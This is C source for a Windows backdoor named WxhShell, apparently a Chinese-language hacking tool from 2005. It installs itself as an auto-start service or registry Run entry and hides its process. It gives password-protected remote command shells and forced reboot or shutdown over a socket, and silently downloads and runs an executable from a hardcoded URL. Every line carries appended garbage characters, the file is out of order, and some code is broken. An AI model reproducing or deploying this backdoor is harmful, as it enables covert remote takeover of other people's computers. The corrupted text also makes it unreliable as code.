    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z/+{QBen8  
    if(Boot(SHUTDOWN)) EPH n"YK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +or<(%o @  
    else { OJ"./*H  
    closesocket(wsh); e ><0crb  
    ExitThread(0); M49l2x=]9  
    } :N_]*>  
    break; >qOG^{&x  
    } Z'j[N4%BK  
  // 获取shell qEXN} Pq<  
  case 's': { q4Wr$T$gs=  
    CmdShell(wsh); M_Ag *?2I  
    closesocket(wsh); f,E7eL@  
    ExitThread(0); PuREqa\_[  
    break; FG[rH]   
  } lct  
  // 退出 YC8IwyL'  
  case 'x': { lq"X_M$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); - z+,j(@  
    CloseIt(wsh); +B1&bOb  
    break; d4BzFGsW  
    } H7.l)'  
  // 离开 P{UV3ZA%  
  case 'q': { ZIa,pON  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MTCfs~}m  
    closesocket(wsh); I=#`8deH(  
    WSACleanup(); z`t~N  
    exit(1); NJ.oME@=  
    break; >h\u[I$7  
        } Lo_+W1+  
  } fn,hP_  
  } RC[Sa wA  
{icTfPR4E  
  // 提示信息 OqIXFX"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5N $XY@  
} aIFlNS,y  
  } ih/E,B"  
/ @"{u0  
  return; Q17dcgd  
}  |@'O3KA  
/P@%{y  
// shell模块句柄 cZ?$_;=  
int CmdShell(SOCKET sock) 3k9n*jY0  
{ <fG\J  
STARTUPINFO si; S}VS@KDO  
ZeroMemory(&si,sizeof(si)); 3~tu\TH6d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i(;`x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (1[59<cg]  
PROCESS_INFORMATION ProcessInfo; 96<oX:#  
char cmdline[]="cmd"; t!3N|`x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u-,}ug|  
  return 0; lTqlQ<`V  
} DbH;DcV7  
U< Xdhgo?  
// 自身启动模式 [Cv./hEQi  
int StartFromService(void) uO LShNo  
{ I:iMRvp  
typedef struct N4C7I1ihq  
{ =n"kgn  
  DWORD ExitStatus; a24 AmoWx  
  DWORD PebBaseAddress; bg-/ 8,  
  DWORD AffinityMask; .7^(~&5N  
  DWORD BasePriority; ]<f(@]R/d  
  ULONG UniqueProcessId; C$6FI `J  
  ULONG InheritedFromUniqueProcessId; <A)M^,#o  
}   PROCESS_BASIC_INFORMATION; *PnO$q@`  
B F<u3p??  
PROCNTQSIP NtQueryInformationProcess; `"&Nw,C  
A_oZSUrR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $xZ ~bE9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pn OWQ8=  
`L`+`B  
  HANDLE             hProcess; &;d N:F;  
  PROCESS_BASIC_INFORMATION pbi; gx9Os2Z|3  
:}v-+eIQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;C$+8%P4  
  if(NULL == hInst ) return 0; i>YQ<A1  
- C q;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R>"Fc/{y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e9h@G#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s/IsrcfM  
$!.>)n  
  if (!NtQueryInformationProcess) return 0; '^_u5Y]  
O[ird`/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());   < v]  
  if(!hProcess) return 0; "g ^i%  
zk8 )!Af  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w7?fJ")  
$C\ETQ@  
  CloseHandle(hProcess); qXW\/NT"p<  
pVy=rS-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0wv#AT  
if(hProcess==NULL) return 0; TSP%5v;Dh  
0Xh_.PF  
HMODULE hMod; Xh;.T=/E|  
char procName[255]; >%U+G0Fq  
unsigned long cbNeeded; \s5Uvws  
h.>SVQzU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E:pk'G0bZ  
:9UgERjra  
  CloseHandle(hProcess); J/4T=:\  
c,2& -T}  
if(strstr(procName,"services")) return 1; // 以服务启动 Lkm-<  
tf~B,?  
  return 0; // 注册表启动 w_56y8Pd4  
} o?Hfxp0}  
+;q\7*  
// 主模块 Res U5Ce~  
int StartWxhshell(LPSTR lpCmdLine) ,D+ydr  
{ [#Y L_*p  
  SOCKET wsl; H>EM3cFU  
BOOL val=TRUE; TBBnsj6e  
  int port=0; SU~a()"  
  struct sockaddr_in door; INi$-Y+  
 lln"c  
  if(wscfg.ws_autoins) Install(); (E0   
.r<a Py$  
port=atoi(lpCmdLine); h4pS~/  
{ ] R'U/  
if(port<=0) port=wscfg.ws_port; XA2Ld  
nTqU~'d'  
  WSADATA data; CjQO5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [b3!H{b#  
\#9LwC"8;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MuY:(zC%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >q:%?mi  
  door.sin_family = AF_INET; b0$)G-E/Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FbE/x$;~O  
  door.sin_port = htons(port); u-TT;k'  
PdcIHN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A#"Wk]jX  
closesocket(wsl); &$~fz":1!  
return 1; C 5.3[  
} LlQsc{ Ddf  
6L<:>55  
  if(listen(wsl,2) == INVALID_SOCKET) { 3^o(\=-JX  
closesocket(wsl); k6Kc{kY  
return 1; =:WZV8@%  
} 8v"rM >[  
  Wxhshell(wsl); ebk>e*  
  WSACleanup(); EU?qLj':  
{[o NUzcd  
return 0; qk(Eyp  
\3 SY2g8+  
} ?gE=hh  
RPz[3y  
// 以NT服务方式启动 ~`OX}h/Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ?.?)5 &4  
{ e%\^V\L  
DWORD   status = 0; Pp8S\%z~h  
  DWORD   specificError = 0xfffffff; U6]#RxH  
;t&q|}x"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l76=6Vtb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n$/|r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F(G..XJQ  
  serviceStatus.dwWin32ExitCode     = 0; 0WUBj:@g  
  serviceStatus.dwServiceSpecificExitCode = 0; k)p` x"To  
  serviceStatus.dwCheckPoint       = 0; B@,r8)D  
  serviceStatus.dwWaitHint       = 0; ?*fa5=ql  
Ww]$zd-bo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;'"'|} xn  
  if (hServiceStatusHandle==0) return; vhrf89-q  
<>] DcA  
status = GetLastError(); 2}vibDq p  
  if (status!=NO_ERROR) )0"Q h  
{ d6luksO*9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B5lwQp]  
    serviceStatus.dwCheckPoint       = 0; <XdnVe1  
    serviceStatus.dwWaitHint       = 0; [ RyVR  
    serviceStatus.dwWin32ExitCode     = status; ;.>*O oe&  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cy~IB [  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |p|Zv H  
    return; Nm*(?1  
  } uC'-: t#  
pHeG{<^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 11H`WOTQF  
  serviceStatus.dwCheckPoint       = 0; L< F8+a7i  
  serviceStatus.dwWaitHint       = 0; E'AR.!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CsO!Y\'FY  
} Y+?QHtZL  
Q"QRF5Ue  
// 处理NT服务事件,比如:启动、停止 n2U &}O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 37U8<  
{ &tyS6S+  
switch(fdwControl) (t4i&7-  
{ Oyl~j #h  
case SERVICE_CONTROL_STOP: B"^j>SF  
  serviceStatus.dwWin32ExitCode = 0; p _gN}v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _{*} )&!M  
  serviceStatus.dwCheckPoint   = 0; ZbFD|~[ V  
  serviceStatus.dwWaitHint     = 0; 'oa.-g5  
  { 5nG\J g7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Lp.*o  
  } W5R/Ub@g  
  return; m}]{Y'i]R  
case SERVICE_CONTROL_PAUSE: &;BhL%)}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QiPq N$n  
  break; _H+]G"k/r  
case SERVICE_CONTROL_CONTINUE: x@ -K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5aQ)qUgAW  
  break; Ua1&eC Zi  
case SERVICE_CONTROL_INTERROGATE: Vk6c^/v  
  break; Etz#+R&*  
}; V6g*"e/8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T^A(v(^D  
} *lfjsrPu  
U2VEFm6  
// 标准应用程序主函数 (m/:B= K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JX59n%$@  
{ K9<8FSn  
a5a ;Fp  
// 获取操作系统版本 (XZ[-M7  
OsIsNt=GetOsVer(); GBz? $]6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _J,**AZ~z  
uo:RNokjJ  
  // 从命令行安装 E?w#$HS  
  if(strpbrk(lpCmdLine,"iI")) Install(); &CG94  
R?wZ\y Ks}  
  // 下载执行文件 -)A:@+GF  
if(wscfg.ws_downexe) { t^#1=nK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f|> rp[Gk  
  WinExec(wscfg.ws_filenam,SW_HIDE); i~!g9o(  
} yFE0a"0y  
N8 sT?  
if(!OsIsNt) { [L%Ltmx  
// 如果时win9x,隐藏进程并且设置为注册表启动 ']}-;m\  
HideProc(); Tu vs}  
StartWxhshell(lpCmdLine); *DJsY/9d}'  
} Jz8P':6[  
else _H| )g*]t  
  if(StartFromService()) ` m 5\  
  // 以服务方式启动 Es=G' au  
  StartServiceCtrlDispatcher(DispatchTable); i\xs!QU  
else  hb[ThQ  
  // 普通方式启动 ?$pNduE  
  StartWxhshell(lpCmdLine); @nH3nn  
%`C e#b()'  
return 0; vn.5X   
} \' O/3Y7?X  
)<x9t@$  
M"z=114  
0:{W t  
=========================================== Bc=(1ty)  
M+t)#O4  
Zg+.`>z  
7gX32r$%V  
l$u52e!7  
'/GB8L  
" +w0Wg.4V  
Ana[>wSZO@  
#include <stdio.h> -@AhJY.  
#include <string.h> `^#Rwn#  
#include <windows.h> =Uk #7U"P  
#include <winsock2.h> ra~=i|s  
#include <winsvc.h> 4" ?`p;{Z  
#include <urlmon.h> Lg\3DzM  
-^NW:L$|  
#pragma comment (lib, "Ws2_32.lib") RE!WuLs0"  
#pragma comment (lib, "urlmon.lib") +*.*bo  
)Kx.v'  
#define MAX_USER   100 // 最大客户端连接数 eC/{c1C  
#define BUF_SOCK   200 // sock buffer AQ-PHv  
#define KEY_BUFF   255 // 输入 buffer ?y|&Mz'XJ(  
TQ\#Z~CbK{  
#define REBOOT     0   // 重启 imOIO[<;  
#define SHUTDOWN   1   // 关机 dV$[O`F* b  
a"s2N%{  
#define DEF_PORT   5000 // 监听端口 091m$~r*  
60{G 4b)  
#define REG_LEN     16   // 注册表键长度 5Sl"1HL  
#define SVC_LEN     80   // NT服务名长度 -zECxHj x  
bB@=J~l4  
// 从dll定义API W=Syo&;F8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $NCvF'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /l `zZ>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s}JifY`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'v'[_(pq  
0LW3VfvToN  
// wxhshell配置信息 u?>},M/  
struct WSCFG { s:{[Y7\?  
  int ws_port;         // 监听端口 xWLZlUHEu  
  char ws_passstr[REG_LEN]; // 口令 ij:xr% FJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'e:4  
  char ws_regname[REG_LEN]; // 注册表键名 ]MCH]/  
  char ws_svcname[REG_LEN]; // 服务名 U<Oc&S{]*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vg62HZ |  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zd_N' :6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E+y_te^+b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p;4FZ$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |X{j^JP 5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C.4(8~Y=~  
6$#,$aO  
}; Kmx4bp4  
Jk{SlH3'  
// default Wxhshell configuration Gd!_9S`68  
struct WSCFG wscfg={DEF_PORT, km>ZhsqD  
    "xuhuanlingzhe", /Ey%aA4v  
    1, =U84*HAv  
    "Wxhshell", ~{DJ,(N"n  
    "Wxhshell", {"jtR<{)  
            "WxhShell Service", @o[ZJ4>*  
    "Wrsky Windows CmdShell Service", m 70r'b]  
    "Please Input Your Password: ", Z6B$\Q5Od  
  1, R1JD{  
  "http://www.wrsky.com/wxhshell.exe", ~v&Q\>'  
  "Wxhshell.exe" B\D)21Ik}%  
    }; }^I36$\  
o4: e1  
// 消息定义模块 548L^"D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /%&5Iq\:vA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6[t(FcS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 @\i5  
char *msg_ws_ext="\n\rExit."; p` ~=v4;b  
char *msg_ws_end="\n\rQuit."; "3_X$`v"!  
char *msg_ws_boot="\n\rReboot..."; t=lDN'\P  
char *msg_ws_poff="\n\rShutdown..."; w[a(I} x  
char *msg_ws_down="\n\rSave to "; 5_A*I C]  
N/>:})dav  
char *msg_ws_err="\n\rErr!"; ~ !ei]UP  
char *msg_ws_ok="\n\rOK!"; AQ FnS&Y  
b~ )@e9  
char ExeFile[MAX_PATH]; "} :CM_  
int nUser = 0; WBKf)A^S  
HANDLE handles[MAX_USER]; YuuTLX%3  
int OsIsNt; ^coCsV^CW"  
7 cV G?Wr  
SERVICE_STATUS       serviceStatus; /nv*OKS|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UDZ0ne0-  
[ 1G wcXr  
// 函数声明 L'Iw9RAJ  
int Install(void); @|h9jx|  
int Uninstall(void); RKrNmD*rk*  
int DownloadFile(char *sURL, SOCKET wsh); zWPX  
int Boot(int flag); ~%lUzabMa  
void HideProc(void); fAkfN H6  
int GetOsVer(void); U=%(kOx  
int Wxhshell(SOCKET wsl); :~vg'v~C  
void TalkWithClient(void *cs); #P!<u Lc%  
int CmdShell(SOCKET sock); Sg%s\p]N_#  
int StartFromService(void); ~jJ.E_i  
int StartWxhshell(LPSTR lpCmdLine); /0>'ZzjV,  
_KloX{a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KKQT?/ {b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z-3.%P2g  
U6|T<bsOl  
// 数据结构和表定义 l4mRNYv)z  
SERVICE_TABLE_ENTRY DispatchTable[] = W*iTg%a\k  
{ f>xi (0  
{wscfg.ws_svcname, NTServiceMain}, ;HYEJ3  
{NULL, NULL} IAbQgBvUD  
}; >r X$E<B\  
NHUJ:j@  
// 自我安装 +<$nZ=,hsy  
int Install(void) Bi9Q8#lh  
{ -vm1xp$  
  char svExeFile[MAX_PATH]; " ;Cf@}i>  
  HKEY key; Fa`%MR1  
  strcpy(svExeFile,ExeFile);  7L:Eg  
$XcH.z  
// 如果是win9x系统,修改注册表设为自启动 ic}TiTK  
if(!OsIsNt) { o6w8Y/VPu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zrSYLG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CN` ~DD{  
  RegCloseKey(key); 22ySMtxn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PI$i_3N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yX*$PNL5w  
  RegCloseKey(key); #c' B2Jn  
  return 0; }UcdkKq  
    } mc`Z;D/mt  
  } '+l"zK ]L-  
} L1+s0g>  
else { DO{otn 9<  
Q)XH5C2X  
// 如果是NT以上系统,安装为系统服务 cjhwJ"`H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oR8'^G0<  
if (schSCManager!=0) ml|FdQ  
{ mw^>dv?  
  SC_HANDLE schService = CreateService uDJ;GD[yc  
  ( >Mh\jt\  
  schSCManager, fp(zd;BSQ  
  wscfg.ws_svcname, $;(@0UDE  
  wscfg.ws_svcdisp, ab9ecZ  
  SERVICE_ALL_ACCESS, %H{;wVjK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }oiNgs/N  
  SERVICE_AUTO_START, e*`ht+  
  SERVICE_ERROR_NORMAL, GzaGTd.b  
  svExeFile, s5G`?/  
  NULL, }^Sk.:;n3  
  NULL, MBjAe!,-  
  NULL, w*~s&7c2B  
  NULL, E_'H=QN c  
  NULL 7jxx,#I:  
  ); yMyvX_UNI  
  if (schService!=0) zICCSF&H  
  { %MGt3)  
  CloseServiceHandle(schService); ,?jc0L.'r]  
  CloseServiceHandle(schSCManager); wjH1Ombt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fUCjC*#1  
  strcat(svExeFile,wscfg.ws_svcname); S8kzAT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $"( 15U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *pD|N  
  RegCloseKey(key); $8(QBZq  
  return 0; a_0I)' ?  
    } w2s06`g  
  } u^MRKLn  
  CloseServiceHandle(schSCManager); 0#=xUk#LP`  
} dg~lz80  
} WC=d @d)M  
ex`T 9j.=B  
return 1; ~uq010lMno  
} `YwJ.E  
}%PK %/ zI  
// 自我卸载 o_b3G  
int Uninstall(void) rZ n@i  
{ >r\GB#\5  
  HKEY key; mT-[I<  
$aU.M3  
if(!OsIsNt) { .Mb0++% W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7BINqVS&  
  RegDeleteValue(key,wscfg.ws_regname); F7j/Zuj  
  RegCloseKey(key); tw.GBR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (_@]-   
  RegDeleteValue(key,wscfg.ws_regname); cK\ u  
  RegCloseKey(key); |,=^P` #%  
  return 0; ~Gh7i>n*  
  } 1,h:|  
} X=1o$:7  
} N2HD=[*cr  
else { =#pYd~  
PCL ;Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $v#`2S(7  
if (schSCManager!=0) &L+.5i  
{ G!B:>P|\l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m44a HBwId  
  if (schService!=0) ^$% Sg//  
  { (y6}xOa(  
  if(DeleteService(schService)!=0) { ^ Lc\{,m  
  CloseServiceHandle(schService); _[E+D0A  
  CloseServiceHandle(schSCManager); 1|w@f&W"  
  return 0; ORF:~5[YS`  
  } + a nsN~3  
  CloseServiceHandle(schService); } )L z%Z  
  } g"|>^90  
  CloseServiceHandle(schSCManager); g=t7YQq_~  
} ^dk$6%0  
} u_+iH$zA  
u;t~ z  
return 1; Z|x|8 !D  
} ,m]5j_< }  
Bf #cBI  
// 从指定url下载文件 R3a}YwJFXF  
int DownloadFile(char *sURL, SOCKET wsh) ^Y+C!I  
{ *{+{h;p  
  HRESULT hr; #O;JV}y  
char seps[]= "/"; rq!*unJ  
char *token; F xm:m  
char *file; ?$)5NQB%  
char myURL[MAX_PATH]; RzL(Gnb  
char myFILE[MAX_PATH]; =z"+)N  
jZkc yx  
strcpy(myURL,sURL); ti%RE:*  
  token=strtok(myURL,seps); %aw.o*@:  
  while(token!=NULL) gELG/6l  
  { kD;pj3o&"2  
    file=token; ^Z;zA@[wt  
  token=strtok(NULL,seps); \ B84  
  } QM 3DB  
z#o''  
GetCurrentDirectory(MAX_PATH,myFILE); hchG\ i  
strcat(myFILE, "\\"); m#8[")a$"  
strcat(myFILE, file); vaP`'  
  send(wsh,myFILE,strlen(myFILE),0); X|Y(*$?D7  
send(wsh,"...",3,0); Ky%lu^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9-{=m+|b  
  if(hr==S_OK) ^s7!F.O C  
return 0; ,I5SAd|dX  
else EV{Ys}3M  
return 1; (oX!D(OI  
54z.@BJhE  
} J@$~q}iG  
!*"fWahv  
// 系统电源模块 B T"R"w  
int Boot(int flag) V+lF|CZb5  
{ xIa7F$R 0  
  HANDLE hToken; D 6 y,Q  
  TOKEN_PRIVILEGES tkp; jci,]*X4  
0]  
  if(OsIsNt) { oS..y($TI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); io+V4m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1] ~w?)..'  
    tkp.PrivilegeCount = 1; +Z|3[#W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u>:(MARsR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /o m++DxV  
if(flag==REBOOT) { RhHm[aN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NvJ5[W  
  return 0; xH*X5?  
} HVHv,:bPo  
else { qJdlZW<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )'U0n`=  
  return 0; A/'po_'uy  
} ]1<GZ`  
  } 9/(jY$Ar  
  else { 3)W zX  
if(flag==REBOOT) { h5@G eYda  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^r&)@R$V  
  return 0; 7:<w)Al!  
} *$vH]>)p  
else { *|dr-e_j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }Rw,4  
  return 0; kzRJzJquP  
} I8 :e `L  
} OA[e}Vn  
] c7X~y  
return 1; g5@g_~ g  
} GcdJf/k  
jhm??Af  
// win9x进程隐藏模块 m<-ShRr*b  
void HideProc(void) I} jgz  
{ 3@gsKtA&H4  
V|_ h[hXE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O[C4xq  
  if ( hKernel != NULL ) ^E.L8  
  { m|qktLx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1Hr}n6s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 22CET9iCe  
    FreeLibrary(hKernel); kJ_8|  
  } Q< :RLKVT  
R2Fjv@Egk  
return; Jo\P,-\(  
} ",$_\l  
BHUI1y5t  
// 获取操作系统版本 A#=TR_@:  
int GetOsVer(void) <:}nd:l1  
{ 2]5{Xmmo9  
  OSVERSIONINFO winfo; 8D*nU3O   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jb.H[n,\  
  GetVersionEx(&winfo); W#p7M[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -[=eVS.2%  
  return 1; CBEf;I g  
  else r0XEB,}  
  return 0; 2jFuF71  
} u S1O-Q>  
}xk(aM_  
// 客户端句柄模块 kyJbV[o<#  
int Wxhshell(SOCKET wsl) Dw%'u'HG  
{ At iUTA  
  SOCKET wsh; f82%nT  
  struct sockaddr_in client; [k6I#v<&  
  DWORD myID; SeD}H=,@  
-&5YRfr!  
  while(nUser<MAX_USER) C!VhVOy>d  
{ Y_JQPup  
  int nSize=sizeof(client); $^ws#}j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cq4~(PXT g  
  if(wsh==INVALID_SOCKET) return 1; W,<q!<z\t  
!!y]pMjJa@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t}YcB`q)  
if(handles[nUser]==0) ?*fY$93O  
  closesocket(wsh); \VNu35* J|  
else 7FG;fJ;&NZ  
  nUser++; S(zp_  
  } ;Bs~E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /;*_[g5*i  
DiFYVR<@  
  return 0; }KI/fh  
} .<"XE7  
d y HC8  
// 关闭 socket "b} mVrFh  
void CloseIt(SOCKET wsh) AE0uBv  
{ ~L)~p%rbi  
closesocket(wsh); fMUcVTFe  
nUser--; lG7PM^Eb  
ExitThread(0); =-h^j  
} cS;3,#$  
y{%0[x*N<m  
// 客户端请求句柄 s#9q3JV0  
void TalkWithClient(void *cs) 4S<M9A}  
{ v675C#l(  
Eomfa:WL  
  SOCKET wsh=(SOCKET)cs; -s3`mc}*  
  char pwd[SVC_LEN]; 5=pE*ETJ  
  char cmd[KEY_BUFF]; Q^(CqQo!<  
char chr[1]; P.Z:`P)  
int i,j; \}Jznzx;  
!dLu($P  
  while (nUser < MAX_USER) { 0k]ApW  
,;$OaJFT  
if(wscfg.ws_passstr) { p F-Lz<V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1q6)R/P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jn<?,UABD  
  //ZeroMemory(pwd,KEY_BUFF); uX_H;,n  
      i=0; w% %q/![uy  
  while(i<SVC_LEN) { >JpBX+]5m  
im<bo Mv  
  // 设置超时 +\eJxyO  
  fd_set FdRead; M3tl4%j  
  struct timeval TimeOut; *uc/| c  
  FD_ZERO(&FdRead);  IO\l8G  
  FD_SET(wsh,&FdRead); PCviQ!X  
  TimeOut.tv_sec=8; RM;a]g*  
  TimeOut.tv_usec=0; g#5R|| r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +fP.Ewi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -?Cr&!*B  
1'~Xn 4 f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7v5]% %E/  
  pwd=chr[0]; pbH!u+DF  
  if(chr[0]==0xd || chr[0]==0xa) { wQhNQ(H~\  
  pwd=0; Cj-s  
  break; S!(3-{nC  
  } n' ~ ==2  
  i++; 7he73  
    } 1m*)MZ)  
EA"hie7  
  // 如果是非法用户,关闭 socket lL D#|T3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _@DOH2 lXJ  
} B=|R?t (*  
,aP6ct  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qg4D*r\|@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y )QLR<wf  
`YNzcn0x  
while(1) { & l>nzJ5?  
{wqT$( (<  
  ZeroMemory(cmd,KEY_BUFF); bb6x} jR  
(GJtTp~2C4  
      // 自动支持客户端 telnet标准   _Mw3>GNl  
  j=0; OoB|Eh|),  
  while(j<KEY_BUFF) { eZ'8JU]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L'+bVP{L  
  cmd[j]=chr[0]; TM)INo^  
  if(chr[0]==0xa || chr[0]==0xd) { 6/UOz V,[  
  cmd[j]=0; `Fd \dn  
  break; gRLt0&Q~  
  } ? i{?Q,  
  j++; R"B{IWQi  
    } TRhMxH  
uNyU]@R<W  
  // 下载文件 AdDX_\V,*  
  if(strstr(cmd,"http://")) { c!EA>:;(<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tOIqX0dWd  
  if(DownloadFile(cmd,wsh)) -SsgW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  r h*F  
  else Q i18q|l8v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] K$YtM^  
  } -CvmZ:n  
  else { :?M_U;;z2+  
